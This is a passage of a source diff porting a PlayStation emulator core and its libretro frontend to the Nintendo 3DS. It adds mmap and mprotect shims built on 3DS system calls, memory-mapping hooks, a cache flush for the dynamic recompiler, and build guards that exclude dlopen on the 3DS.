+ (u32*)((u32)thread->stack + CTR_PTHREAD_STACK_SIZE),
+ 0x25, 1);
+
+ return 1;
+}
+
+
+static inline int pthread_join(pthread_t thread, void **retval)
+{
+ (void)retval;
+
+// DEBUG_HOLD();
+ if(svcWaitSynchronization(thread.handle, INT64_MAX))
+ return -1;
+
+ linearFree(thread.stack);
+
+ return 0;
+}
+
+
+static inline void pthread_exit(void *retval)
+{
+ (void)retval;
+
+// DEBUG_HOLD();
+ svcExitThread();
+}
+
+//#undef DEBUG_HOLD
+
+#endif //_3DS_PTHREAD_WRAP__
+
diff --git a/frontend/3ds/sys/mman.h b/frontend/3ds/sys/mman.h
new file mode 100644
index 0000000..c93b13b
--- /dev/null
+++ b/frontend/3ds/sys/mman.h
@@ -0,0 +1,66 @@
+#ifndef MMAN_H
+#define MMAN_H
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#include "3ds.h"
+#include "stdlib.h"
+#include "stdio.h"
+
+#define PROT_READ MEMPERM_READ
+#define PROT_WRITE MEMPERM_WRITE
+#define PROT_EXEC MEMPERM_EXECUTE
+#define MAP_PRIVATE 2
+#define MAP_ANONYMOUS 0x20
+
+#define MAP_FAILED ((void *)-1)
+
+static inline void* mmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset)
+{
+ (void)addr;
+ (void)prot;
+ (void)flags;
+ (void)fd;
+ (void)offset;
+
+ void* addr_out;
+
+ addr_out = malloc(len);
+ if(!addr_out)
+ return MAP_FAILED;
+
+ return addr_out;
+}
+
+static inline int mprotect(void *addr, size_t len, int prot)
+{
+ extern int ctr_svchack_init_success;
+
+ if(ctr_svchack_init_success)
+ {
+ uint32_t currentHandle;
+ svcDuplicateHandle(&currentHandle, 0xFFFF8001);
+ svcControlProcessMemory(currentHandle, (u32)addr, 0x0,
+ len, MEMOP_PROT, prot);
+ svcCloseHandle(currentHandle);
+ return 0;
+ }
+
+ return -1;
+}
+
+static inline int munmap(void *addr, size_t len)
+{
+ free(addr);
+ return 0;
+
+}
+
+#ifdef __cplusplus
+};
+#endif
+
+#endif // MMAN_H
+
diff --git a/frontend/libretro.c b/frontend/libretro.c
index b611e84..69fad2a 100644
--- a/frontend/libretro.c
+++ b/frontend/libretro.c
@@ -28,6 +28,12 @@
#include "revision.h"
#include "libretro.h"
+#ifdef _3DS
+#include "3ds.h"
+#include "3ds/3ds_utils.h"
+int ctr_svchack_init_success = 0;
+#endif
+
static retro_video_refresh_t video_cb;
static retro_input_poll_t input_poll_cb;
static retro_input_state_t input_state_cb;
@@ -165,8 +171,87 @@ static void vout_close(void)
{
}
-static void *pl_mmap(unsigned int size)
+#ifdef _3DS
+typedef struct
+{
+ void* buffer;
+ uint32_t target_map;
+ size_t size;
+ enum psxMapTag tag;
+}psx_map_t;
+
+psx_map_t custom_psx_maps[] = {
+ {NULL, 0x13000000, 0x210000, MAP_TAG_RAM}, // 0x80000000
+ {NULL, 0x12800000, 0x010000, MAP_TAG_OTHER}, // 0x1f800000
+ {NULL, 0x12c00000, 0x080000, MAP_TAG_OTHER}, // 0x1fc00000
+ {NULL, 0x11000000, 0x800000, MAP_TAG_LUTS}, // 0x08000000
+ {NULL, 0x12000000, 0x200000, MAP_TAG_VRAM}, // 0x00000000
+};
+
+void* pl_3ds_mmap(unsigned long addr, size_t size, int is_fixed,
+ enum psxMapTag tag)
+{
+ (void)is_fixed;
+ (void)addr;
+
+ if (ctr_svchack_init_success)
+ {
+ psx_map_t* custom_map = custom_psx_maps;
+
+ for (; custom_map->size; custom_map++)
+ {
+ if ((custom_map->size == size) && (custom_map->tag == tag))
+ {
+ uint32_t ptr_aligned, tmp;
+
+ custom_map->buffer = malloc(size + 0x1000);
+ ptr_aligned = (((u32)custom_map->buffer) + 0xFFF) & ~0xFFF;
+
+ if(svcControlMemory(&tmp, custom_map->target_map, ptr_aligned, size, MEMOP_MAP, 0x3) < 0)
+ {
+ SysPrintf("could not map memory @0x%08X\n", custom_map->target_map);
+ exit(1);
+ }
+
+ return (void*)custom_map->target_map;
+ }
+ }
+ }
+
+ return malloc(size);
+}
+
+void pl_3ds_munmap(void *ptr, size_t size, enum psxMapTag tag)
{
+ (void)tag;
+
+ if (ctr_svchack_init_success)
+ {
+ psx_map_t* custom_map = custom_psx_maps;
+
+ for (; custom_map->size; custom_map++)
+ {
+ if ((custom_map->target_map == (uint32_t)ptr))
+ {
+ uint32_t ptr_aligned, tmp;
+
+ ptr_aligned = (((u32)custom_map->buffer) + 0xFFF) & ~0xFFF;
+
+ svcControlMemory(&tmp, custom_map->target_map, ptr_aligned, size, MEMOP_UNMAP, 0x3);
+
+ free(custom_map->buffer);
+ custom_map->buffer = NULL;
+ return;
+ }
+ }
+ }
+
+ free(ptr);
+}
+#endif
+
+static void *pl_mmap(unsigned int size)
+{
return psxMap(0, size, 0, MAP_TAG_VRAM);
}
@@ -1048,6 +1133,11 @@ static void update_variables(bool in_flight)
{
R3000Acpu *prev_cpu = psxCpu;
+#ifdef _3DS
+ if(!ctr_svchack_init_success)
+ Config.Cpu = CPU_INTERPRETER;
+ else
+#endif
if (strcmp(var.value, "disabled") == 0)
Config.Cpu = CPU_INTERPRETER;
else if (strcmp(var.value, "enabled") == 0)
@@ -1234,6 +1324,11 @@ void retro_init(void)
int i, ret;
bool found_bios = false;
+#ifdef _3DS
+ ctr_svchack_init_success = ctr_svchack_init();
+ psxMapHook = pl_3ds_mmap;
+ psxUnmapHook = pl_3ds_munmap;
+#endif
ret = emu_core_preinit();
ret |= emu_core_init();
if (ret != 0) {
@@ -1249,7 +1344,7 @@ void retro_init(void)
if (environ_cb(RETRO_ENVIRONMENT_GET_SYSTEM_DIRECTORY, &dir) && dir)
{
- snprintf(Config.BiosDir, sizeof(Config.BiosDir), "%s/", dir);
+ snprintf(Config.BiosDir, sizeof(Config.BiosDir), "%s", dir);
for (i = 0; i < sizeof(bios) / sizeof(bios[0]); i++) {
snprintf(path, sizeof(path), "%s/%s.bin", dir, bios[i]);
diff --git a/frontend/main.c b/frontend/main.c
index 4c84803..c816ba1 100644
--- a/frontend/main.c
+++ b/frontend/main.c
@@ -11,7 +11,7 @@
#include <unistd.h>
#include <signal.h>
#include <time.h>
-#ifndef _WIN32
+#if !defined(_WIN32) && !defined(_3DS)
#include <dlfcn.h>
#endif
@@ -771,7 +771,7 @@ int emu_save_state(int slot)
return ret;
ret = SaveState(fname);
-#if defined(__arm__) && !defined(__ARM_ARCH_7A__) /* XXX GPH hack */
+#if defined(__arm__) && !defined(__ARM_ARCH_7A__) && !defined(_3DS) /* XXX GPH hack */
sync();
#endif
SysPrintf("* %s \"%s\" [%d]\n",
@@ -985,7 +985,7 @@ void *SysLoadLibrary(const char *lib) {
return (void *)(long)(PLUGIN_DL_BASE + builtin_plugin_ids[i]);
}
-#ifndef _WIN32
+#if !defined(_WIN32) && !defined(_3DS)
ret = dlopen(lib, RTLD_NOW);
if (ret == NULL)
SysMessage("dlopen: %s", dlerror());
@@ -1002,7 +1002,7 @@ void *SysLoadSym(void *lib, const char *sym) {
if (PLUGIN_DL_BASE <= plugid && plugid < PLUGIN_DL_BASE + ARRAY_SIZE(builtin_plugins))
return plugin_link(plugid - PLUGIN_DL_BASE, sym);
-#ifndef _WIN32
+#if !defined(_WIN32) && !defined(_3DS)
return dlsym(lib, sym);
#else
return NULL;
@@ -1010,7 +1010,9 @@ void *SysLoadSym(void *lib, const char *sym) {
}
const char *SysLibError() {
-#ifndef _WIN32
+#if defined(_3DS)
+ return NULL;
+#elif !defined(_WIN32)
return dlerror();
#else
return "not supported";
@@ -1023,7 +1025,7 @@ void SysCloseLibrary(void *lib) {
if (PLUGIN_DL_BASE <= plugid && plugid < PLUGIN_DL_BASE + ARRAY_SIZE(builtin_plugins))
return;
-#ifndef _WIN32
+#if !defined(_WIN32) && !defined(_3DS)
dlclose(lib);
#endif
}
diff --git a/libpcsxcore/new_dynarec/emu_if.h b/libpcsxcore/new_dynarec/emu_if.h
index 3980490..73f842b 100644
--- a/libpcsxcore/new_dynarec/emu_if.h
+++ b/libpcsxcore/new_dynarec/emu_if.h
@@ -89,7 +89,7 @@ extern void *scratch_buf_ptr;
extern u32 inv_code_start, inv_code_end;
/* cycles/irqs */
-extern unsigned int next_interupt;
+extern u32 next_interupt;
extern int pending_exception;
/* called by drc */
diff --git a/libpcsxcore/new_dynarec/new_dynarec.c b/libpcsxcore/new_dynarec/new_dynarec.c
index 5120df0..487f7f0 100644
--- a/libpcsxcore/new_dynarec/new_dynarec.c
+++ b/libpcsxcore/new_dynarec/new_dynarec.c
@@ -53,6 +53,9 @@ static void __clear_cache(void *start, void *end) {
sys_dcache_flush(start, len);
sys_icache_invalidate(start, len);
}
+#elif defined(_3DS)
+#include "3ds_utils.h"
+#define __clear_cache(start,end) ctr_flush_invalidate_cache()
#endif
#define MAXBLOCK 4096
diff --git a/plugins/cdrcimg/cdrcimg.c b/plugins/cdrcimg/cdrcimg.c
index 76cdfba..036c68d 100644
--- a/plugins/cdrcimg/cdrcimg.c
+++ b/plugins/cdrcimg/cdrcimg.c
@@ -14,7 +14,9 @@
#include <zlib.h>
#ifndef _WIN32
#define CALLBACK
+#ifndef _3DS
#include <dlfcn.h>
+#endif
#else
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
@@ -285,7 +287,7 @@ static long CDRinit(void)
return -1;
}
}
-#ifndef _WIN32
+#if !defined(_WIN32) && !defined(_3DS)
if (pBZ2_bzBuffToBuffDecompress == NULL) {
void *h = dlopen("/usr/lib/libbz2.so.1", RTLD_LAZY);
if (h == NULL)
diff --git a/plugins/dfxvideo/gpulib_if.c b/plugins/dfxvideo/gpulib_if.c
index 01b8dde..bb3ad56 100644
--- a/plugins/dfxvideo/gpulib_if.c
+++ b/plugins/dfxvideo/gpulib_if.c
@@ -309,11 +309,11 @@ void renderer_notify_res_change(void)
extern const unsigned char cmd_lengths[256];
-int do_cmd_list(unsigned int *list, int list_len, int *last_cmd)
+int do_cmd_list(uint32_t *list, int list_len, int *last_cmd)
{
unsigned int cmd = 0, len;
- unsigned int *list_start = list;
- unsigned int *list_end = list + list_len;
+ uint32_t *list_start = list;
+ uint32_t *list_end = list + list_len;
for (; list < list_end; list += 1 + len)
{